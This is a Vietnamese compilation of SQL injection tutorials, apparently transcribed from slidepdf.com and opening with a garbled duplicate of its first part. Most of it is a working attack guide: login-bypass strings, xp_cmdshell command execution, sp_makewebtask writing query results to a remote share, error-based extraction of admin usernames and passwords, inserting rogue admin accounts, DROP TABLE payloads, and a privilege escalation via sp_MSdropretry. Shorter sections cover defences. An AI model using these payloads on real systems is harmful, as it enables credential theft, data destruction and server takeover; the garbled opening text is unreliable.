6934868 SQL Injection

24
 Tng hợ  p SQL Injection --------------------------------------------------------------------------------------------------------------------------------- PH  ẦN 1: SQL Injection là gì? SQL Injection là mt trong nhữ ng kiu hack web đang d  ần tr nên ph biế n hin nay. Bng cách inject các mã SQL query/command vào input tr ước khi chuy n cho ứ ng dng web xử  lí, bn có th login mà không c  ần username và password, remote execution, dump data và l ấ y root ca SQL server. Công c dùng để tấ n công là mt trình duyt web bấ t kì, chng hn như  Internet Explorer, Netscape, Lynx, ... 2) Tìm kiế m mc tiêu Bn có th search các trang web cho phép submit data  bấ t kì mt search-engine nào trên mng, chng hn như  các trang login, search, feedback, ... http://vtcon/index.asp?id=10 Mt số  trang web chuyn tham số  qua các field n, bn phi xem mã HTML mi thấ y rõ. <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> 3) Kim tra chử  yế u ca trang web Thử  submit các field username, password ho c field id, .. b ng hi' or 1=1-- - Login: hi' or 1=1-- - Pass: hi' or 1=1-- - http://vtcon/index.asp?id=h i' or 1=1-- Nế u site chuyn tham số  qua field n, bn hãy download source HTML, l ư u trên đĩ a cứ ng và thay đổi li URL cho phù hp. Ví d: <FORM action=http://vtcon/Search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </FORM> Nế u thành công, b n có th login vào mà không c  ần phi biế t username và password 4) Ti sao ' or 1=1-- có th  bypass login? Gi sử  như  có mt trang asp link đế n mt asp trang khác vi URL như  sau: http://vtcon/index.asp?category=food Trong URL trên, biế n 'category' được gán giá tr là 'food'. Mã asp c a trang này có th như  sau (đây ch là ví d thôi): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr ) v_cat s chứ a giá tr  ca biế n request.category, 'food' và câu lnh SQL tiế p theo s là: SELECT * FROM product WHERE PCategory='food' Dòng query trên s tr v  ề mt tp resultset chứ a mt hoc nhi  ều dòng phù hp vi đi  ều kin WHERE PCategory='food' Nế u bn thay đổi URL trên thành http://v tcon/index.asp?catego ry=food' or 1=1-- , bi ế n v_cat s chứ a giá tr  "food' or 1=1-- " và dòng lnh SQL query s là: SELECT * FROM product WHERE PCategory='food' or 1=1--' Dòng query trên s select mi thứ  trong table product bấ t chấ p PCategory có bng 'food' hay không. Hai dấ u gch ngang "--" ch cho MS SQL server bi ế t đã hế t dòng query, mi thứ  còn li sau "--" s  b b qua. Đố i vi MySQL, bn hãy thay "--" thành "#" Administrator- http://be-yeu.ws/

Transcript of 6934868 SQL Injection

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 1/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

PH ẦN 1: SQL Injection là gì?

SQL Injection là một trong nhữ ng kiểu hack web đang d ần trở nên phổ biế n hiện nay. Bằng cách inject các mã SQLquery/command vào input trước khi chuyển cho ứ ng dụng web xử  lí, bạn có thể login mà không c ần username và password,remote execution, dump data và lấ y root của SQL server. Công cụ dùng để tấ n công là một trình duyệt web bấ t kì, chẳng hạnnhư Internet Explorer, Netscape, Lynx, ...

2) Tìm kiế m mục tiêu

Bạn có thể search các trang web cho phép submit data ở bấ t kì một search-engine nào trên mạng, chẳng hạn như các tranglogin, search, feedback, ...

http://vịtcon/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấ y rõ.

<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>

3) Kiểm tra chử yế u của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

- Login: hi' or 1=1--- Pass: hi' or 1=1--- http://vịtcon/index.asp?id=hi' or 1=1--

Nế u site chuyển tham số qua field ẩn, bạn hãy download source HTML, lư u trên đĩ a cứ ng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://vịtcon/Search/search.asp method=post><input type=hidden name=A value="hi' or 1=1--"></FORM>

Nế u thành công, bạn có thể login vào mà không c ần phải biế t username và password

4) Tại sao ' or 1=1-- có thể bypass login?

Giả sử như có một trang asp link đế n một asp trang khác với URL như sau:

http://vịtcon/index.asp?category=food

Trong URL trên, biế n 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)

v_cat sẽ chứ a giá trị của biế n request.category, 'food' và câu lệnh SQL tiế p theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả v ề một tập resultset chứ a một hoặc nhi ều dòng phù hợp với đi ều kiện WHERE PCategory='food'

Nế u bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biế n v_cat sẽ chứ a giá trị "food' or 1=1-- "và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ  trong table product bấ t chấ p PCategory có bằng 'food' hay không. Hai dấ u gạch ngang "--"chỉ cho MS SQL server biế t đã hế t dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đố i với MySQL, bạn hãy thay "--" thành"#"

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 2/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số data khác mà bạn cũng nên submit để biế t xem trang web có gặp lử i hay không:

' or 1=1--

" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

5) Thi hành lệnh từ xa bằng SQL Injection

Nế u cài đặt với chế  độ default, MS SQL Server sẽ chạy ở mứ c SYSTEM, tương đương với mứ c truy cập Administrator trênWindows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấ u nháy đôi (") nế u dấ u nháy đơn (') không làm việc.

Dấ u chấ m phẩy ( sẽ kế t thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnhtrên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nế u nhận được ping request từ 10.10.1.2 ngh ĩ a là lệnh đã được thi hành.

6) Nhận output của SQL query

Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

folder "share" phải được share cho Everyone trước.

7) Nhận data qua 'database using ODBC error message'

Các error message của MS SQL Server thường đư a cho bạn nhữ ng thông tin quan trọng. Lấ y ví dụ ở trênhttp://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhấ t integer '10' với một string khác lấ y từ CSDL:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

System table INFORMATION_SCHEMA.TABLES chứ a thông tin v ề tấ t cả các table có trên server. Field TABLE_NAME chứ a têncủa mử i table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biế t rằng nó luôn t ồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Dòng query này sẽ trả v ề tên của table đầu tiên trong CSDL

Khi chúng ta UNION string này với số  integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số  integer.Đi ều này sẽ gặp lử i nế u như không chuyển được nvarchar sang int, server sẽ hiện thông báo lử i sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data typeint.

 /index.asp, line 5

Thông báo lử i trên cho biế t giá trị muố n chuyển sang integer như ng không được, "table1". Đây cũng chính là tên của table đầutiên trong CSDL mà chúng ta đang muố n có.

Để lấ y tên của tên của table tiế p theo, bạn có thể dùng query sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERETABLE_NAME NOT IN ('table1')--

Bạn cũng có thể search data bằng từ khóa LIKE:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERETABLE_NAME LIKE '%25login%25'--

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 3/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Se rver]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

 /index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấ y trong error message trên, chúng tacó thể xác định được tên của một table quan trọng là "admin_login".8) Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứ a tên của tấ t cả các column trong table. Bạn có thể khai thác như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERETABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of datatype int.

 /index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấ y tên của các column tiế p theo, bạn có thể dùng mệnh đề logic NOT IN ()như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERETABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of datatype int.

 /index.asp, line 5

Làm tương tự như trên, bạn có thể lấ y được tên của các column còn lại như "password", "details". Bạn lấ y tên của các column

này qua error message error sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERETABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains aUNION operator.

 /index.asp, line 5

9) Thu thập các dữ  liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các

table và column này.

Bạn có thể lấ y login_name đầu tiên trong table "admin_login" như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data typeint.

 /index.asp, line 5

Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử  lấ y password của "neo" như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--Output:

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 4/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data typeint.

 /index.asp, line 5

Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".

10) Nhận các numeric string

Có một hạn chế nhỏ đố i với phương pháp trên. Chúng ta không thể nhận được các error message nế u server có thể chuyểntext đúng ở dạng số (text chỉ chứ a các kí tự số từ 0 đế n 9). Giả sử như password của "trinity" là "31173".

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số  trướckhi UNION với integer 10. Để giải quyế t vấ n đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thấ t bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login wherelogin_name='trinity'--

Chúng ta dùng dấ u cộng (+) để nố i thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi'(space)morpheus' vào cuố i password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàmconvert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

 /index.asp, line 5

Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'

11) Update/insert data vào CSDL

Khi bạn đã có tên của tấ t cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

Để thay đổi password của "neo", bạn có thể làm như sau:

http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nế u bạn muố n chèn một record mới vào table:

http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES(666,'neo2','newpas5','NA')--

Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"

12) Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như  '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ :

- input do người dùng đệ trình

- các tham số  từ URL- các giá trị từ cookie

Đố i với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số  integer.

Thay đổi "Startup and run SQL Server" dùng mứ c low privilege user trong tab SQL Server Security.

Xóa các stored procedure mà bạn không dùng như :

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

PH ẦN 2: tôi biế t chắc rằng các bạn ở đây đa số chỉ biế t SQL injection bypass login, hôm nay tớ xin mạn phép trình bày nhữ ng kỹ thuậtmà ta có thể làm nhi ều đi ều hơn là chỉ vượt qua password của một trang bị SQL injection.

Lư u ý : Đa số kiế n thứ c của tôi dưới đây chỉ dùng cho server chạy MySQL, MSSQL, còn nhữ ng cái khác thì không chắc.... Nế ubạn chư a biế t lệnh SQL thì không nên đọc bài này mà nên tham khảo nó trước, OKie ??? Tôi không muố n thấ y nhữ ng câu trả lời đại loại như --- "Tui chẳng hiểu gì hế t ", "Sài ở đâu thế " ,.....

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 5/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

1)Lấ y tên table và column hiện hành:Structure :

Login page (or any injection page)::::username: ' having 1=1--

KQ: -------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.ID' is invalid in the select list because it is not contained inan aggregate function and there is no GROUP BY clause.------------------------------------------> Ta có được TABLE VICTIM

Tiế p tụcusername: ' group by VICTIM.ID having 1=1--

KQ :---------------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.Vuser' is invalid in the select list because it is not containedin either an aggregate function or the GROUP BY clause.-------------------------------------------Vậy là ta có column Vuser

UNION nhỏ mà hiệu quả 

Vâng thư a các bạn, ta có thể dùng nó để lấ y được g ần như mọi thứ  .Trước hế t tôi xin nói sơ qua cái Structure của nó :

Login page ::::

username : ' Union select [column] from [table] where [column2=...]--password : everything

Vd: Giả sử ta đã biế t 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta làm như sau

username : ' Union select VPASS from VTABLE where VUSER='admin'-- (1)password : everything

(1) : Trong trường hợp này admin là một user mà bạn biế t nế u không có thể bỏ trố ng, nó sẽ cho bạn user đầu tiên

KQ:-----------------------------[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have anequal number of expressions in their target lists.---------------------------------

Nế u KQ ra như  trên có ngh ĩ a là bạn phải union thêm nhi ều column nữ a để tấ t cả column của table VTABLE được Union hế t.Structure của nó như sau:

username : ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER='admin'-- (1)password : everything

Bạn hãy thêm ",1" cho đế n khi kế t quả ra đại loại như  

--------------------------------

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'tuibihackroi' to a column of datatype int.--------------------------------

Như vậy Pass của user 'admin' là 'tuibihackroi'Ph ần II:

Vâng thư a các bạn SQL injection thật thú vị, và đây là đi ều ta có thể làm trong bài viế t hôm nay của tôi : Lấ y sạch databasecủa đố i phương.

1) Lấ y hế t value của một column đã biế t trong một table đã biế tBí quyế t ở đây là “Not in” Structure của nó như sau (sử dụng ví dụ với column của bài trước):Với Vuser là admin ta có thể lấ y được các user khác

-----Login Page ::::::

username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’)—-------------------------Vâng, sau đó chúng ta sẽ thu được thêm một user nữ a và chỉ việc chèn vào trong Not in ( vd: Not in (‘admin’,’hacker’,….)) cứ  

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 6/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

làm tiế p tục như thế  ta sẽ có hế t mọi user(d ĩ nhiên sau đó là mọi password).

**** Ðể lấ y danh sách tên các user theo một quy định mà bạn chọn , ví dụ chi lấ y các user có chứ a từ admin chẳng hạn tadùng “like” : cấ u trúc

-----Login Page ::::::username: ‘ Union select Vuser,1,1,1…,1 from Vtable where username not in (‘admin’) like %admin%—

-------------------------2) Lấ y hế t table và column của của database:Bí quyế t chính là table này của database : INFORMATION_SCHEMA.TABLES với column TABLE_NAME (chứ a toàn bộ table) vàtable : INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứ a toàn bộ column)

Cách sử dụng dùng Union:

-----Login page :::::::username: ‘ UNION SELECT TABLE_NAME,1,1,1…,1 FROM INFORMATION_SCHEMA.TABLES WHERE …….---------------------------

Như vậy ta có thể lấ y được hế t table, sau khi có table ta lấ y hế t column của table đó :

-----Login page :::::::username: ‘ UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’… ’ and ……---------------------------

Trên đây là nhữ ng đi ều căn bản nhấ t v ề SQl injection mà tôi có thể cung cấ p cho các bạn, còn làm được tố t hay không thì phảicó một chút sáng tạo nữ a hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQl injectionPh ần III:

1) Không c ần UNION:

Nế u các bạn ngại dùng Union vì nhữ ng bấ t tiện của nó thì các bạn có thể dùng "Convert" một cách dẽ dàng hơn để thu thậpinfo qua các thông báo lỗi

Structure :

---login page::::

user : ' + convert (int,(select @@version))---------------------------

Trên là một ví dụ để bạn lấ y version, giờ đây muố n lấ y bấ t cứ  info nào bạn chỉ c ần thay vào cái "select @@version" như ng nhớ nế u là l ần đầu tiên get info thì thêm TOP 1 vào nhé

vd: user : ' + convert (int,(select Vpass from Vtable where Vuser='admin'))--

Lư u ý : Nế u các bạn sử dụng không được thì có thể vì dấ u + không được chấ p nhận, lúc đó hãy thay nó === %2b

vd: user : ' %2b convert (int,(select Vpass from Vtable where Vuser='admin'))--

2) Run command SQL :

Đề run command bạn có thể dùng dấ u ";"

Structure :

login page :::::user :' ; [command]-------------------------------

vd: '; DROP TABLE VTABLE—----------------------------------------------------------------------------------------------------------------------------------------------

Chố ng tấ n công kiểu SQL Injection 

Xin lỗi anh em,bài này mình chư a chuyển qua Tv có dấ u,mình sẽ cố gắng sử a nó.Anh em đọc tạm vậy

SQL Injection la gi ?

Viec thiet ke va dua website vao hoat dong luon doi hoi cac nha phat trien phai quan tam den van de va an toan, bao matnham giam thieu toi da kha nang bi hacker tan cong. Thuong cac nha phat trien tap trung vao cac van de an toan cua he dieuhanh, he quan tri CSAL, webserver…chang han nhu hong bao mat tren IIS. Tuy nhien, co mot nguy co tiem an it duoc quan

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 7/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

tam do la cac doan ma cua ung dung, mot trong so do la tan cong bang SQL injection.SQL Injection la mot ki thuat cho phap nhung ke tan cong thi hanh cac cau lenh truy van SQL bat hop phap bang cac loi dunglo hong trong viec kiem tra de lieu nhau tu cac ung dung web..hau qua nay rat tai hai vi no cho phap ke tan cong co toanquyen , hieu chinh..tren co so du lieu cua ung dung, loi nay thuong xay ra tren cac ung dung web co du lieu duoc quan li bangcac he quan tri CSDL nhu SQL server, Oracle, DB2, Sysbase.Xet mot vi du dien hinh, thong thuong de cho phet nguoi dung truy cap vao cac trang web duoc bao mat..he thong thuong xaydung trang dang nhap de yeu cau nguoi dung nhap thong tin ve ten dang nhap va password. Sau khi nguoi dung nhap thong

tin vao, he thong se kiem tra ten dang nhap va mat khau co hop le huy khong de quyet dinh cho phep hay tu choi thuc hientren.Trong truong hop nay, nguoi ta co the dung 2 trang, mot trang HTML de hien thi Form nhap lieu va mot trang ASP dung de xuli thong tin nhap tu phia nguoi dung. Vd :

Login.htm<form action=”Execlogin.asp”method=”post”>username : <input type=”text” name= “ txtusername”><br>password : <input type =”password” name=txtpassword”><br><input type = “submit”></form>

ExecLogin.asp<%Dim p_strausername, p_strPassword, objRS, serSQLP_serUsername =Request, Form ( “txtusername”)P_serPassword =Request.Form(“txtPassword”)serSQL = “SELECT * FORM tblUsers “ & _”WHERE Username=’ “& _strUsername & _

 “` and Password=’ “ & p-strPassword & “ ` “Set objRS =Server.CreateObject ( “ADODB.Recordset”)objRS.open strSQL, “DSN=…” if (objRS.EOF) ThenResponse.write “invalid login.” ElseResponse.write “ you are logged in as “ & objRS (“Username”)End If Set objRS = Nothing

%>

thoat nhin, doan ma trong trang ExecLogin.asp duong nhu khong chua bat cu ,pt lo hong bao mat nao,. Nguoi dung khong thedang nhap ma khong co ten dang nhap va mat khau hop le. Tuy nhien, doan ma nay thus su khong an toan va la tien de chotan cong SQL Injection. Dat biet, so ho nam o cho du lieu nguoi dung nhap vao duoc nam o cho du lieu nguoi dung nhap vaoduoc dung de xay dung truc tiep cau lenh truy van SQL ..chinh dieu nay cho phep nung ke tan cong co the dieu khine duoc cautruy van se duoc thuc hien.Vi du, neu nguoi dung nhap chuoi sau vao trong ca 2 o nhap lieu username/passowrd cua trang login.htm “

 ‘ or”=’. Luc nay, cau truy van se duoc goi thuc hien la :

SELECT * FORM tblUsers WHERE Username=’ ‘ or ``=’’ and Password = `’or`’=`’ 

Cau truy van nay la hop le va se tra ve tat ca cac ban ghi cua tblUsers, va doan ma tiep theo su li nguoi dung dang nhap bathop phap nay nhu la nguoi dung dang nhap hop le.Mot vi du khac cua tan cong SQL Injection nua la khi cac trang web su dung du lieu nhap vao theo dang querystring ( bang

cach go cap tham so va gia tri truc tiep trang thanh dia chi hoac dung form voi thuc tinh ACCTION La GET . vi du sau minh hoamot trang ASP nhan du lieu cho bien ID thong qua querystring va phat sinh noi dung cua trang do dua tren ID :

<%Dim P-lngID, objRS, StrSQLP_lngID = Request ( “ID”)strSQL = “SELECT * FORMtblArticles WHERE ID=” & p_lngIDSet objRS =Server.CreateObject(“ADODB.Recordeset”)ObjRS.Open strSQL, “DSN=…” If ( Not objRS.EOF) thenResponse.WriteObjRS(“ArticleContent”)Set ObjRS = Nothing

%>trong cac tinh huong thong thuong, doan ma nay hien thi noi dung cua Aricle co ID trung voi ID duoc chuyen den cho no duoi

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 8/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

dang querystring. Vi du, trang nay co the duoc goi nhu sau :http://www.examlpe.com/Article.asp?ID=1055, de hien thi noi dung cua article co ID la 1055giong nhu vi du dang nhap o tren. Doan ma nay de lo so ho cho kha nang tan cong SQL Injection, ke tan cong co the thay themot ID hop la bang cach gan ID cho mot gia tri khac, de thuc hien mot lenh SQL bat hop phap, vi du nhu : 0 or 1=1cau truy van SQL luc nay se tra ve tat ca cac article tu bang du lieu vi no se thuc hien cau lenh :

SELCT * FORM tblArticles WHERE

ID=0 or 1=1Tat nhien vi du nay duong nhu khong co gi nguy hiem nhung hay thu tuong tuong ke tan cong co the xoa toan bo CSDL bangcach chen vao cac doan lenh nguy hiem nhun lenh DELETE. Tat ca chi chi la don gian thay doi chuoi gan du lieu cho ID, vi dunhu :http://examlpe.com/Article.asp?ID=1055;DELETE FORM tblArticles.

Tac hai va cach phong chong :Tac hai cua dang tan cong SQL Injection tuy thuoc vao moi truong va cach cau hinh he thong. Neu ung dung su dung quyendbo ( Quyen cua nguoi so huu CSDL ) khi thao tac du lieu. No co the xua toan bo cac bang du lieu. Tao cac bang du lieumoi…neu ung dung su dung quyen sa ( quyan quan tri he thong ). No co the dieu khien toan bo he CSDL va tham chi co thetao ra cac tai khoan nguoi dung bat hop phap de dieu khien he thong cua ban.De phong tranh cac nguy co co the xay ra, hay bao ve cac cau truy van SQl bang cach kiem soat chan che tat ca cac du lieunhap nhan duoc tu doi tuong Request ( Request, Request.QuuryString, Request.Form, Request.Cookies, va Request.ServerVariables )Trong truong hop du lieu nhap vao la chuoi, nhu trong vi du 1 , loi xuat phat tu viec co dau nhay don trong du lieu. De tranhdieu nay, thay the cac dau nhay don bang ham Replace de thay the bang 2 dau nhay don :

P_strUsername =Replace(Request.Form(“txtUsrname”) , “ ` “, “`’” )P_srtpassword =Replace(Request.Form(“txtPassword”) , “ ` “, “`’” )

Trong truong hop du lieu nhap vao la so, nhu trong di du 2 , loi xuat phat tu viec thay the mot gia tri duoc tien doan la du lieuso bang chuoi chua cau lenh SQL Injection bat hop phap. De tranh dieu nay, don gian la kiem tra du lieu co dung kieu nay haykhong :

P_IngID = CLng (Request (“ID”))

Nhu vay, neu nguoi dung truyen vao mot chuoi, ham nay se tra ve loi ngay lap tuc.Ngoai ra de tranh cac nguy co tu tan cong SQL Injection, nen chu y loai bo bat ki thong tin ki thuat nao chua trong thong diep

chuyen toi cho nguoi dung khi ung dung co loi. Cac thong bao loi thong thuong tiet lo cac chi tiet ki thuat co the cho phep ketan cong biet duoc dieu yeu cua he thong.Cuoi cung. De han che thiet hai do tan cong SQL Injection, nen kiem soat chat che va giai han queyn xu li du lieu cua tai khoannguoi dung ma dung dung web dang su dung. Cac dung dung thuong nen tranh dung cac quyen nhu dbo hay sa. Quyen canghan che, thiet hai thi se cach it thoi.

PH ẦN 3:PHÁT HIỆN LỖI SQL-INJECTION 

http://www.company.com/product/price.asp?id=1 select price from product where id=1http://www.company.com/product/price.asp?id=1’  select price from product where id=1’ Unclosed quotation mark before the character string ‘http://www.company.com/product/price.asp?id=[...]

KĨ THUẬT CONVERT-MAGIC

http://wwww.company.com/product/price.asp?id=1and 1=convert(int,@@version) --sp_passwordselect price from product where id=1 and 1=convert(int,@@version)--sp_password

Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright© 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of datatype int.'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons.

• @@servername, db_name(), system_user, ...• ‘ “ ( )

LỖI CROSS-DATABASE CỦA MS-SQLuse testdatabase

Administrator- http://be-yeu.ws/

5/14/2018 6934868 SQL Injection - slidepdf.com

http://slidepdf.com/reader/full/6934868-sql-injection 9/23

 

Tổng hợ  p SQL Injection

---------------------------------------------------------------------------------------------------------------------------------

create proc dbo.test as select * from master.dbo.sysxloginsgoexec testselect * from master.dbo.sysxlogins• sa == dbo• db_owner có thể create & design các object của dbo• SID của proc dbo.test == SID của master.dbo.sysxlogins

LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY

CREATE PROCEDURE sp_MSdropretry(@tname sysname, @pname sysname)asdeclare @retcode int

 /*** To public*/exec ('drop table ' + @tname)if @@ERROR <> 0 return(1)exec ('drop procedure ' + @pname)if @@ERROR <> 0 return(1)return (0)

NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY

exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx'exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx'exec sp_executesql N'drop view dbo.test‘drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xxdrop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx• guest == db_owner của database master-----------------------------------------------------------------------------------------------------------------------------------------

Hack shop qua lỗi SQL server injection gioi thieu so qua cho anh em biet ve hack sql server inject ha !

